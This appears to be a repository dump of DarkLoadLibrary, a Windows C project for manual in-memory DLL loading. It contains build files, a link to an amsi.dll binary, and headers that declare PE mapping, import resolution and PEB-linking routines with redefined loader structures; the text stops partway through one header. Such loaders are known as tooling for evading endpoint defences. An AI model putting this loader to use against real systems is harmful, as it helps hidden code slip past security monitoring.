├── .gitignore ├── DarkLoadLibrary ├── DarkLoadLibrary.sln ├── DarkLoadLibrary.vcxproj ├── DarkLoadLibrary.vcxproj.filters ├── DarkLoadLibrary.vcxproj.user ├── amsi.dll ├── include │ ├── darkloadlibrary.h │ ├── ldrutils.h │ ├── pebstructs.h │ ├── pebutils.h │ └── syscalls.h └── src │ ├── darkloadlibrary.c │ ├── ldrutils.c │ ├── main.c │ ├── pebutils.c │ ├── syscalls.c │ └── syscallsstubs.asm └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.rsuser 8 | *.suo 9 | *.user 10 | *.userosscache 11 | *.sln.docstates 12 | 13 | # User-specific files (MonoDevelop/Xamarin Studio) 14 | *.userprefs 15 | 16 | # Mono auto generated files 17 | mono_crash.* 18 | 19 | # Build results 20 | [Dd]ebug/ 21 | [Dd]ebugPublic/ 22 | [Rr]elease/ 23 | [Rr]eleases/ 24 | x64/ 25 | x86/ 26 | [Ww][Ii][Nn]32/ 27 | [Aa][Rr][Mm]/ 28 | [Aa][Rr][Mm]64/ 29 | bld/ 30 | [Bb]in/ 31 | [Oo]bj/ 32 | [Ll]og/ 33 | [Ll]ogs/ 34 | 35 | # Visual Studio 2015/2017 cache/options directory 36 | .vs/ 37 | # Uncomment if you have tasks that create the project's static files in wwwroot 38 | #wwwroot/ 39 | 40 | # Visual Studio 2017 auto generated files 41 | Generated\ Files/ 42 | 43 | # MSTest test Results 44 | [Tt]est[Rr]esult*/ 45 | [Bb]uild[Ll]og.* 46 | 47 | # NUnit 48 | *.VisualState.xml 49 | TestResult.xml 50 | nunit-*.xml 51 | 52 | # Build Results of an ATL Project 53 | [Dd]ebugPS/ 54 | [Rr]eleasePS/ 55 | dlldata.c 56 | 57 | # Benchmark Results 58 | BenchmarkDotNet.Artifacts/ 59 | 60 | # .NET Core 61 | project.lock.json 62 | project.fragment.lock.json 63 | artifacts/ 64 | 65 | # ASP.NET Scaffolding 66 | ScaffoldingReadMe.txt 67 | 68 | # StyleCop 69 | StyleCopReport.xml 70 | 71 | # Files built by Visual Studio 72 | *_i.c 73 | *_p.c 74 | *_h.h 75 | *.ilk 76 | *.meta 77 | *.obj 78 | *.iobj 79 | *.pch 80 | *.pdb 81 | *.ipdb 82 | *.pgc 83 | *.pgd 84 | *.rsp 85 | *.sbr 86 | *.tlb 87 | *.tli 88 | *.tlh 89 | *.tmp 90 | *.tmp_proj 91 | *_wpftmp.csproj 92 | *.log 93 | *.tlog 94 | *.vspscc 95 | *.vssscc 96 | .builds 97 | *.pidb 98 | *.svclog 99 | *.scc 100 | 101 | # Chutzpah Test files 102 | _Chutzpah* 103 | 104 | # Visual C++ cache files 105 | ipch/ 106 | *.aps 107 | *.ncb 108 | *.opendb 109 | *.opensdf 110 | *.sdf 111 | *.cachefile 112 | *.VC.db 113 | *.VC.VC.opendb 114 | 115 | # Visual Studio profiler 116 | *.psess 117 | *.vsp 118 | *.vspx 119 | *.sap 120 | 121 | # Visual Studio Trace Files 122 | *.e2e 123 | 124 | # TFS 2012 Local Workspace 125 | $tf/ 126 | 127 | # Guidance Automation Toolkit 128 | *.gpState 129 | 130 | # ReSharper is a .NET coding add-in 131 | _ReSharper*/ 132 | *.[Rr]e[Ss]harper 133 | *.DotSettings.user 134 | 135 | # TeamCity is a build add-in 136 | _TeamCity* 137 | 138 | # DotCover is a Code Coverage Tool 139 | *.dotCover 140 | 141 | # AxoCover is a Code Coverage Tool 142 | .axoCover/* 143 | !.axoCover/settings.json 144 | 145 | # Coverlet is a free, cross platform Code Coverage Tool 146 | coverage*.json 147 | coverage*.xml 148 | coverage*.info 149 | 150 | # Visual Studio code coverage results 151 | *.coverage 152 | *.coveragexml 153 | 154 | # NCrunch 155 | _NCrunch_* 156 | .*crunch*.local.xml 157 | nCrunchTemp_* 158 | 159 | # MightyMoose 160 | *.mm.* 161 | AutoTest.Net/ 162 | 163 | # Web workbench (sass) 164 | .sass-cache/ 165 | 166 | # Installshield output folder 167 | [Ee]xpress/ 168 | 169 | # DocProject is a documentation generator add-in 170 | DocProject/buildhelp/ 171 | DocProject/Help/*.HxT 172 | DocProject/Help/*.HxC 173 | DocProject/Help/*.hhc 174 | DocProject/Help/*.hhk 175 | DocProject/Help/*.hhp 176 | DocProject/Help/Html2 177 | DocProject/Help/html 178 | 179 | # Click-Once directory 180 | publish/ 181 | 182 | # Publish Web Output 183 | *.[Pp]ublish.xml 184 | *.azurePubxml 185 | # Note: Comment the next line if you want to checkin your web deploy settings, 186 | # but database connection strings (with potential passwords) will be unencrypted 187 | *.pubxml 188 | *.publishproj 189 | 190 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 191 | # checkin your Azure Web App publish settings, but sensitive information contained 192 | # in these scripts will be unencrypted 193 | PublishScripts/ 194 | 195 | # NuGet Packages 196 | *.nupkg 197 | # NuGet Symbol Packages 198 | *.snupkg 199 | # The packages folder can be ignored because of Package Restore 200 | **/[Pp]ackages/* 201 | # except build/, which is used as an MSBuild target. 202 | !**/[Pp]ackages/build/ 203 | # Uncomment if necessary however generally it will be regenerated when needed 204 | #!**/[Pp]ackages/repositories.config 205 | # NuGet v3's project.json files produces more ignorable files 206 | *.nuget.props 207 | *.nuget.targets 208 | 209 | # Nuget personal access tokens and Credentials 210 | nuget.config 211 | 212 | # Microsoft Azure Build Output 213 | csx/ 214 | *.build.csdef 215 | 216 | # Microsoft Azure Emulator 217 | ecf/ 218 | rcf/ 219 | 220 | # Windows Store app package directories and files 221 | AppPackages/ 222 | BundleArtifacts/ 223 | Package.StoreAssociation.xml 224 | _pkginfo.txt 225 | *.appx 226 | *.appxbundle 227 | *.appxupload 228 | 229 | # Visual Studio cache files 230 | # files ending in .cache can be ignored 231 | *.[Cc]ache 232 | # but keep track of directories ending in .cache 233 | !?*.[Cc]ache/ 234 | 235 | # Others 236 | ClientBin/ 237 | ~$* 238 | *~ 239 | *.dbmdl 240 | *.dbproj.schemaview 241 | *.jfm 242 | *.pfx 243 | *.publishsettings 244 | orleans.codegen.cs 245 | 246 | # Including strong name files can present a security risk 247 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 248 | #*.snk 249 | 250 | # Since there are multiple workflows, uncomment next line to ignore bower_components 251 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 252 | #bower_components/ 253 | 254 | # RIA/Silverlight projects 255 | Generated_Code/ 256 | 257 | # Backup & report files from converting an old project file 258 | # to a newer Visual Studio version. Backup files are not needed, 259 | # because we have git ;-) 260 | _UpgradeReport_Files/ 261 | Backup*/ 262 | UpgradeLog*.XML 263 | UpgradeLog*.htm 264 | ServiceFabricBackup/ 265 | *.rptproj.bak 266 | 267 | # SQL Server files 268 | *.mdf 269 | *.ldf 270 | *.ndf 271 | 272 | # Business Intelligence projects 273 | *.rdl.data 274 | *.bim.layout 275 | *.bim_*.settings 276 | *.rptproj.rsuser 277 | *- [Bb]ackup.rdl 278 | *- [Bb]ackup ([0-9]).rdl 279 | *- [Bb]ackup ([0-9][0-9]).rdl 280 | 281 | # Microsoft Fakes 282 | FakesAssemblies/ 283 | 284 | # GhostDoc plugin setting file 285 | *.GhostDoc.xml 286 | 287 | # Node.js Tools for Visual Studio 288 | .ntvs_analysis.dat 289 | node_modules/ 290 | 291 | # Visual Studio 6 build log 292 | *.plg 293 | 294 | # Visual Studio 6 workspace options file 295 | *.opt 296 | 297 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 298 | *.vbw 299 | 300 | # Visual Studio LightSwitch build output 301 | **/*.HTMLClient/GeneratedArtifacts 302 | **/*.DesktopClient/GeneratedArtifacts 303 | **/*.DesktopClient/ModelManifest.xml 304 | **/*.Server/GeneratedArtifacts 305 | **/*.Server/ModelManifest.xml 306 | _Pvt_Extensions 307 | 308 | # Paket dependency manager 309 | .paket/paket.exe 310 | paket-files/ 311 | 312 | # FAKE - F# Make 313 | .fake/ 314 | 315 | # CodeRush personal settings 316 | .cr/personal 317 | 318 | # Python Tools for Visual Studio (PTVS) 319 | __pycache__/ 320 | *.pyc 321 | 322 | # Cake - Uncomment if you are using it 323 | # tools/** 324 | # !tools/packages.config 325 | 326 | # Tabs Studio 327 | *.tss 328 | 329 | # Telerik's JustMock configuration file 330 | *.jmconfig 331 | 332 | # BizTalk build output 333 | *.btp.cs 334 | *.btm.cs 335 | *.odx.cs 336 | *.xsd.cs 337 | 338 | # OpenCover UI analysis results 339 | OpenCover/ 340 | 341 | # Azure Stream Analytics local run output 342 | ASALocalRun/ 343 | 344 | # MSBuild Binary and Structured Log 345 | *.binlog 346 | 347 | # NVidia Nsight GPU debugger configuration file 348 | *.nvuser 349 | 350 | # MFractors (Xamarin productivity tool) working folder 351 | .mfractor/ 352 | 353 | # Local History for Visual Studio 354 | .localhistory/ 355 | 356 | # BeatPulse healthcheck temp database 357 | healthchecksdb 358 | 359 | # Backup folder for Package Reference Convert tool in Visual Studio 2017 360 | MigrationBackup/ 361 | 362 | # Ionide (cross platform F# VS Code tools) working folder 363 | .ionide/ 364 | 365 | # Fody - auto-generated XML schema 366 | FodyWeavers.xsd 367 | 368 | # VS Code files for those working on multiple tools 369 | .vscode/* 370 | !.vscode/settings.json 371 | !.vscode/tasks.json 372 | !.vscode/launch.json 373 | !.vscode/extensions.json 374 | *.code-workspace 375 | 376 | # Local History for Visual Studio Code 377 | .history/ 378 | 379 | # Windows Installer files from build outputs 380 | *.cab 381 | *.msi 382 | *.msix 383 | *.msm 384 | *.msp 385 | 386 | # JetBrains Rider 387 | .idea/ 388 | *.sln.iml 389 | -------------------------------------------------------------------------------- /DarkLoadLibrary/DarkLoadLibrary.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.30717.126 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "DarkLoadLibrary", "DarkLoadLibrary.vcxproj", "{3DDD52BB-803A-40E7-90E4-A879A873DD8B}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {3DDD52BB-803A-40E7-90E4-A879A873DD8B}.Debug|x64.ActiveCfg = Debug|x64 17 | {3DDD52BB-803A-40E7-90E4-A879A873DD8B}.Debug|x64.Build.0 = Debug|x64 18 | {3DDD52BB-803A-40E7-90E4-A879A873DD8B}.Debug|x86.ActiveCfg = Debug|Win32 19 | {3DDD52BB-803A-40E7-90E4-A879A873DD8B}.Debug|x86.Build.0 = Debug|Win32 20 | {3DDD52BB-803A-40E7-90E4-A879A873DD8B}.Release|x64.ActiveCfg = Release|x64 21 | {3DDD52BB-803A-40E7-90E4-A879A873DD8B}.Release|x64.Build.0 = Release|x64 22 | {3DDD52BB-803A-40E7-90E4-A879A873DD8B}.Release|x86.ActiveCfg = Release|Win32 23 | {3DDD52BB-803A-40E7-90E4-A879A873DD8B}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {4CF4FF8F-BFEF-4451-8EB7-ACE7C231A0F5} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /DarkLoadLibrary/DarkLoadLibrary.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | Win32Proj 24 | {3ddd52bb-803a-40e7-90e4-a879a873dd8b} 25 | DarkLoadLibrary 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v142 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v142 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v142 46 | Unicode 47 | false 48 | 49 | 50 | Application 51 | false 52 | v142 53 | true 54 | Unicode 55 | false 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | true 78 | 79 | 80 | false 81 | 82 | 83 | true 84 | 85 | 86 | false 87 | 88 | 89 | 90 | Level3 91 | true 92 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 93 | true 94 | CompileAsC 95 | 96 | 97 | Console 98 | true 99 | 100 | 101 | 102 | 103 | Level3 104 | true 105 | true 106 | true 107 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 108 | true 109 | 110 | 111 | Console 112 | true 113 | true 114 | true 115 | 116 | 117 | 118 | 119 | Level3 120 | true 121 | _CRT_SECURE_NO_WARNINGS;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 122 | true 123 | $(ProjectDir)include 124 | 125 | 126 | Console 127 | true 128 | ntdll.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies) 129 | 130 | 131 | 132 | 133 | Level3 134 | true 135 | true 136 | true 137 | _CRT_SECURE_NO_WARNINGS;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 138 | true 139 | MultiThreadedDLL 140 | $(ProjectDir)include 141 | 142 | 143 | Console 144 | true 145 | true 146 | true 147 | ntdll.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies) 148 | false 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | Document 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | 168 | 169 | 170 | 171 | 172 | -------------------------------------------------------------------------------- /DarkLoadLibrary/DarkLoadLibrary.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | Source Files 23 | 24 | 25 | Source Files 26 | 27 | 28 | Source Files 29 | 30 | 31 | Source Files 32 | 33 | 34 | 35 | 36 | Header Files 37 | 38 | 39 | Header Files 40 | 41 | 42 | Header Files 43 | 44 | 45 | Header Files 46 | 47 | 48 | Header Files 49 | 50 | 51 | 52 | 53 | Source Files 54 | 55 | 56 | -------------------------------------------------------------------------------- /DarkLoadLibrary/DarkLoadLibrary.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -------------------------------------------------------------------------------- /DarkLoadLibrary/amsi.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bats3c/DarkLoadLibrary/047a0b0bf1d655470e0c70e247352bba1a748cbc/DarkLoadLibrary/amsi.dll -------------------------------------------------------------------------------- /DarkLoadLibrary/include/darkloadlibrary.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #pragma comment(lib, "Shlwapi.lib") 5 | 6 | #define LOAD_LOCAL_FILE 0x00000001 7 | #define LOAD_REMOTE_FILE 0x00000002 8 | #define LOAD_MEMORY 0x00000003 9 | #define NO_LINK 0x00010000 10 | 11 | typedef LPVOID(WINAPI* HEAPALLOC)(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes); 12 | typedef HANDLE(WINAPI* GETPROCESSHEAP)(VOID); 13 | typedef HANDLE(WINAPI* CREATEFILEW)(LPCWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile); 14 | typedef LPVOID(WINAPI* VIRTUALALLOC)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); 15 | typedef DWORD(WINAPI* GETFILESIZE)(HANDLE hFile, LPDWORD lpFileSizeHigh); 16 | typedef BOOL(WINAPI* READFILE)(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped); 17 | typedef BOOL(WINAPI* CLOSEHANDLE)(HANDLE hObject); 18 | typedef BOOL(WINAPI* HEAPFREE)(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem); 19 | typedef LPCWSTR(WINAPI *PATHFINDFILENAMEW)(LPCWSTR pszPath); 20 | typedef int(__cdecl *WSPRINTFW)(LPWSTR, LPCWSTR, ...); 21 | 22 | #pragma once 23 | typedef struct _DARKMODULE { 24 | BOOL bSuccess; 25 | LPWSTR ErrorMsg; 26 | PBYTE pbDllData; 27 | DWORD dwDllDataLen; 28 | LPWSTR LocalDLLName; 29 | PWCHAR CrackedDLLName; 30 | ULONG_PTR ModuleBase; 31 | BOOL bLinkedToPeb; 32 | } DARKMODULE, *PDARKMODULE; 33 | 34 | PDARKMODULE DarkLoadLibrary( 35 | DWORD dwFlags, 36 | LPCWSTR lpwBuffer, 37 | LPVOID lpFileBuffer, 38 | DWORD dwLen, 39 | LPCWSTR lpwName 40 | ); 41 | 42 | SIZE_T WideStringLength(LPWSTR str); 43 | BOOL WideStringCompare(LPWSTR lpwStr1, LPWSTR lpwStr2, SIZE_T cbMaxCount); -------------------------------------------------------------------------------- /DarkLoadLibrary/include/ldrutils.h: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include "pebutils.h" 4 | #include "darkloadlibrary.h" 5 | 6 | #define RVA(type, base_addr, rva) (type)((ULONG_PTR) base_addr + rva) 7 | 8 | typedef BOOL(WINAPI * DLLMAIN)(HINSTANCE, DWORD, LPVOID); 9 | typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR); 10 | typedef BOOL(WINAPI* VIRTUALPROTECT)(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect); 11 | typedef BOOL(WINAPI* FLUSHINSTRUCTIONCACHE)(HANDLE hProcess, LPCVOID lpBaseAddress, SIZE_T dwSize); 12 | 13 | BOOL IsValidPE(PBYTE pbData); 14 | BOOL MapSections(PDARKMODULE pdModule); 15 | BOOL ResolveImports(PDARKMODULE pdModule); 16 | BOOL LinkModuleToPEB(PDARKMODULE pdModule); 17 | BOOL BeginExecution(PDARKMODULE pdModule); -------------------------------------------------------------------------------- /DarkLoadLibrary/include/pebstructs.h: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #define GDI_HANDLE_BUFFER_SIZE32 34 4 | #define GDI_HANDLE_BUFFER_SIZE64 60 5 | 6 | #ifdef _WIN64 7 | #define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE64 8 | #endif 9 | 10 | #ifndef _WIN64 11 | #define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE32 12 | #endif 13 | 14 | typedef ULONG GDI_HANDLE_BUFFER[GDI_HANDLE_BUFFER_SIZE]; 15 | 16 | typedef struct _PEB_LDR_DATA2 17 | { 18 | ULONG Length; 19 | BOOLEAN Initialized; 20 | PVOID SsHandle; 21 | LIST_ENTRY InLoadOrderModuleList; 22 | LIST_ENTRY InMemoryOrderModuleList; 23 | LIST_ENTRY InInitializationOrderModuleList; 24 | PVOID EntryInProgress; 25 | #if (NTDDI_VERSION >= NTDDI_WIN7) 26 | UCHAR ShutdownInProgress; 27 | PVOID ShutdownThreadId; 28 | #endif 29 | } PEB_LDR_DATA2, *PPEB_LDR_DATA2; 30 | 31 | typedef struct 32 | { 33 | WORD offset : 12; 34 | WORD type : 4; 35 | } IMAGE_RELOC, * PIMAGE_RELOC; 36 | 37 | typedef struct _API_SET_NAMESPACE 38 | { 39 | ULONG Version; 40 | ULONG Size; 41 | ULONG Flags; 42 | ULONG Count; 43 | ULONG EntryOffset; 44 | ULONG HashOffset; 45 | ULONG HashFactor; 46 | } API_SET_NAMESPACE, *PAPI_SET_NAMESPACE; 47 | 48 | 49 | typedef enum _LDR_DLL_LOAD_REASON 50 | { 51 | LoadReasonStaticDependency, 52 | LoadReasonStaticForwarderDependency, 53 | LoadReasonDynamicForwarderDependency, 54 | LoadReasonDelayloadDependency, 55 | LoadReasonDynamicLoad, 56 | LoadReasonAsImageLoad, 57 | LoadReasonAsDataLoad, 58 | LoadReasonEnclavePrimary, // REDSTONE3 59 | LoadReasonEnclaveDependency, 60 | LoadReasonUnknown = -1 61 | } LDR_DLL_LOAD_REASON, *PLDR_DLL_LOAD_REASON; 62 | 63 | typedef enum _LDR_DDAG_STATE 64 | { 65 | LdrModulesMerged = -5, 66 | LdrModulesInitError = -4, 67 | LdrModulesSnapError = -3, 68 | LdrModulesUnloaded = -2, 69 | LdrModulesUnloading = -1, 70 | LdrModulesPlaceHolder = 0, 71 | LdrModulesMapping = 1, 72 | LdrModulesMapped = 2, 73 | LdrModulesWaitingForDependencies = 3, 74 | LdrModulesSnapping = 4, 75 | LdrModulesSnapped = 5, 76 | LdrModulesCondensed = 6, 77 | LdrModulesReadyToInit = 7, 78 | LdrModulesInitializing = 8, 79 | LdrModulesReadyToRun = 9 80 | } LDR_DDAG_STATE; 81 | 82 | typedef struct _LDRP_CSLIST 83 | { 84 | PSINGLE_LIST_ENTRY Tail; 85 | } LDRP_CSLIST, *PLDRP_CSLIST; 86 | 87 | typedef struct _LDR_SERVICE_TAG_RECORD 88 | { 89 | struct _LDR_SERVICE_TAG_RECORD *Next; 90 | ULONG ServiceTag; 91 | } LDR_SERVICE_TAG_RECORD, *PLDR_SERVICE_TAG_RECORD; 92 | 93 | typedef struct _RTL_BALANCED_NODE 94 | { 95 | union 96 | { 97 | struct _RTL_BALANCED_NODE *Children[2]; 98 | struct 99 | { 100 | struct _RTL_BALANCED_NODE *Left; 101 | struct _RTL_BALANCED_NODE *Right; 102 | }; 103 | }; 104 | union 105 | { 106 | UCHAR Red : 1; 107 | UCHAR Balance : 2; 108 | ULONG_PTR ParentValue; 109 | }; 110 | } RTL_BALANCED_NODE, *PRTL_BALANCED_NODE; 111 | 112 | typedef struct _LDR_DDAG_NODE 113 | { 114 | LIST_ENTRY Modules; 115 | PLDR_SERVICE_TAG_RECORD ServiceTagList; 116 | ULONG LoadCount; 117 | ULONG LoadWhileUnloadingCount; 118 | ULONG LowestLink; 119 | union 120 | { 121 | LDRP_CSLIST Dependencies; 122 | SINGLE_LIST_ENTRY RemovalLink; 123 | }; 124 | LDRP_CSLIST IncomingDependencies; 125 | LDR_DDAG_STATE State; 126 | SINGLE_LIST_ENTRY CondenseLink; 127 | ULONG PreorderNumber; 128 | } LDR_DDAG_NODE, *PLDR_DDAG_NODE; 129 | 130 | typedef BOOLEAN (NTAPI *PLDR_INIT_ROUTINE)( 131 | _In_ PVOID DllHandle, 132 | _In_ ULONG Reason, 133 | _In_opt_ PVOID Context 134 | ); 135 | 136 | typedef struct _LDR_DATA_TABLE_ENTRY2 137 | { 138 | LIST_ENTRY InLoadOrderLinks; 139 | LIST_ENTRY InMemoryOrderLinks; 140 | union 141 | { 142 | LIST_ENTRY InInitializationOrderLinks; 143 | LIST_ENTRY InProgressLinks; 144 | }; 145 | PVOID DllBase; 146 | PLDR_INIT_ROUTINE EntryPoint; 147 | ULONG SizeOfImage; 148 | UNICODE_STRING FullDllName; 149 | UNICODE_STRING BaseDllName; 150 | union 151 | { 152 | UCHAR FlagGroup[4]; 153 | ULONG Flags; 154 | struct 155 | { 156 | ULONG PackagedBinary : 1; 157 | ULONG MarkedForRemoval : 1; 158 | ULONG ImageDll : 1; 159 | ULONG LoadNotificationsSent : 1; 160 | ULONG TelemetryEntryProcessed : 1; 161 | ULONG ProcessStaticImport : 1; 162 | ULONG InLegacyLists : 1; 163 | ULONG InIndexes : 1; 164 | ULONG ShimDll : 1; 165 | ULONG InExceptionTable : 1; 166 | ULONG ReservedFlags1 : 2; 167 | ULONG LoadInProgress : 1; 168 | ULONG LoadConfigProcessed : 1; 169 | ULONG EntryProcessed : 1; 170 | ULONG ProtectDelayLoad : 1; 171 | ULONG ReservedFlags3 : 2; 172 | ULONG DontCallForThreads : 1; 173 | ULONG ProcessAttachCalled : 1; 174 | ULONG ProcessAttachFailed : 1; 175 | ULONG CorDeferredValidate : 1; 176 | ULONG CorImage : 1; 177 | ULONG DontRelocate : 1; 178 | ULONG CorILOnly : 1; 179 | ULONG ChpeImage : 1; 180 | ULONG ReservedFlags5 : 2; 181 | ULONG Redirected : 1; 182 | ULONG ReservedFlags6 : 2; 183 | ULONG CompatDatabaseProcessed : 1; 184 | }; 185 | }; 186 | USHORT ObsoleteLoadCount; 187 | USHORT TlsIndex; 188 | LIST_ENTRY HashLinks; 189 | ULONG TimeDateStamp; 190 | struct _ACTIVATION_CONTEXT *EntryPointActivationContext; 191 | PVOID Lock; // RtlAcquireSRWLockExclusive 192 | PLDR_DDAG_NODE DdagNode; 193 | LIST_ENTRY NodeModuleLink; 194 | struct _LDRP_LOAD_CONTEXT *LoadContext; 195 | PVOID ParentDllBase; 196 | PVOID SwitchBackContext; 197 | RTL_BALANCED_NODE BaseAddressIndexNode; 198 | RTL_BALANCED_NODE MappingInfoIndexNode; 199 | ULONG_PTR OriginalBase; 200 | LARGE_INTEGER LoadTime; 201 | ULONG BaseNameHashValue; 202 | LDR_DLL_LOAD_REASON LoadReason; 203 | ULONG ImplicitPathOptions; 204 | ULONG ReferenceCount; 205 | ULONG DependentLoadFlags; 206 | UCHAR SigningLevel; // since REDSTONE2 207 | } LDR_DATA_TABLE_ENTRY2, *PLDR_DATA_TABLE_ENTRY2; 208 | 209 | typedef struct _PEB2 210 | { 211 | BOOLEAN InheritedAddressSpace; 212 | BOOLEAN ReadImageFileExecOptions; 213 | BOOLEAN BeingDebugged; 214 | union 215 | { 216 | BOOLEAN BitField; 217 | struct 218 | { 219 | BOOLEAN ImageUsesLargePages : 1; 220 | BOOLEAN IsProtectedProcess : 1; 221 | BOOLEAN IsImageDynamicallyRelocated : 1; 222 | BOOLEAN SkipPatchingUser32Forwarders : 1; 223 | BOOLEAN IsPackagedProcess : 1; 224 | BOOLEAN IsAppContainer : 1; 225 | BOOLEAN IsProtectedProcessLight : 1; 226 | BOOLEAN IsLongPathAwareProcess : 1; 227 | }; 228 | }; 229 | 230 | HANDLE Mutant; 231 | 232 | PVOID ImageBaseAddress; 233 | PPEB_LDR_DATA2 Ldr; 234 | PRTL_USER_PROCESS_PARAMETERS ProcessParameters; 235 | PVOID SubSystemData; 236 | PVOID ProcessHeap; 237 | PRTL_CRITICAL_SECTION FastPebLock; 238 | PSLIST_HEADER AtlThunkSListPtr; 239 | PVOID IFEOKey; 240 | 241 | union 242 | { 243 | ULONG CrossProcessFlags; 244 | struct 245 | { 246 | ULONG ProcessInJob : 1; 247 | ULONG ProcessInitializing : 1; 248 | ULONG ProcessUsingVEH : 1; 249 | ULONG ProcessUsingVCH : 1; 250 | ULONG ProcessUsingFTH : 1; 251 | ULONG ProcessPreviouslyThrottled : 1; 252 | ULONG ProcessCurrentlyThrottled : 1; 253 | ULONG ProcessImagesHotPatched : 1; // REDSTONE5 254 | ULONG ReservedBits0 : 24; 255 | }; 256 | }; 257 | union 258 | { 259 | PVOID KernelCallbackTable; 260 | PVOID UserSharedInfoPtr; 261 | }; 262 | ULONG SystemReserved; 263 | ULONG AtlThunkSListPtr32; 264 | PAPI_SET_NAMESPACE ApiSetMap; 265 | ULONG TlsExpansionCounter; 266 | PVOID TlsBitmap; 267 | ULONG TlsBitmapBits[2]; 268 | 269 | PVOID ReadOnlySharedMemoryBase; 270 | PVOID SharedData; // HotpatchInformation 271 | PVOID *ReadOnlyStaticServerData; 272 | 273 | PVOID AnsiCodePageData; // PCPTABLEINFO 274 | PVOID OemCodePageData; // PCPTABLEINFO 275 | PVOID UnicodeCaseTableData; // PNLSTABLEINFO 276 | 277 | ULONG NumberOfProcessors; 278 | ULONG NtGlobalFlag; 279 | 280 | ULARGE_INTEGER CriticalSectionTimeout; 281 | SIZE_T HeapSegmentReserve; 282 | SIZE_T HeapSegmentCommit; 283 | SIZE_T HeapDeCommitTotalFreeThreshold; 284 | SIZE_T HeapDeCommitFreeBlockThreshold; 285 | 286 | ULONG NumberOfHeaps; 287 | ULONG MaximumNumberOfHeaps; 288 | PVOID *ProcessHeaps; // PHEAP 289 | 290 | PVOID GdiSharedHandleTable; 291 | PVOID ProcessStarterHelper; 292 | ULONG GdiDCAttributeList; 293 | 294 | PRTL_CRITICAL_SECTION LoaderLock; 295 | 296 | ULONG OSMajorVersion; 297 | ULONG OSMinorVersion; 298 | USHORT OSBuildNumber; 299 | USHORT OSCSDVersion; 300 | ULONG OSPlatformId; 301 | ULONG 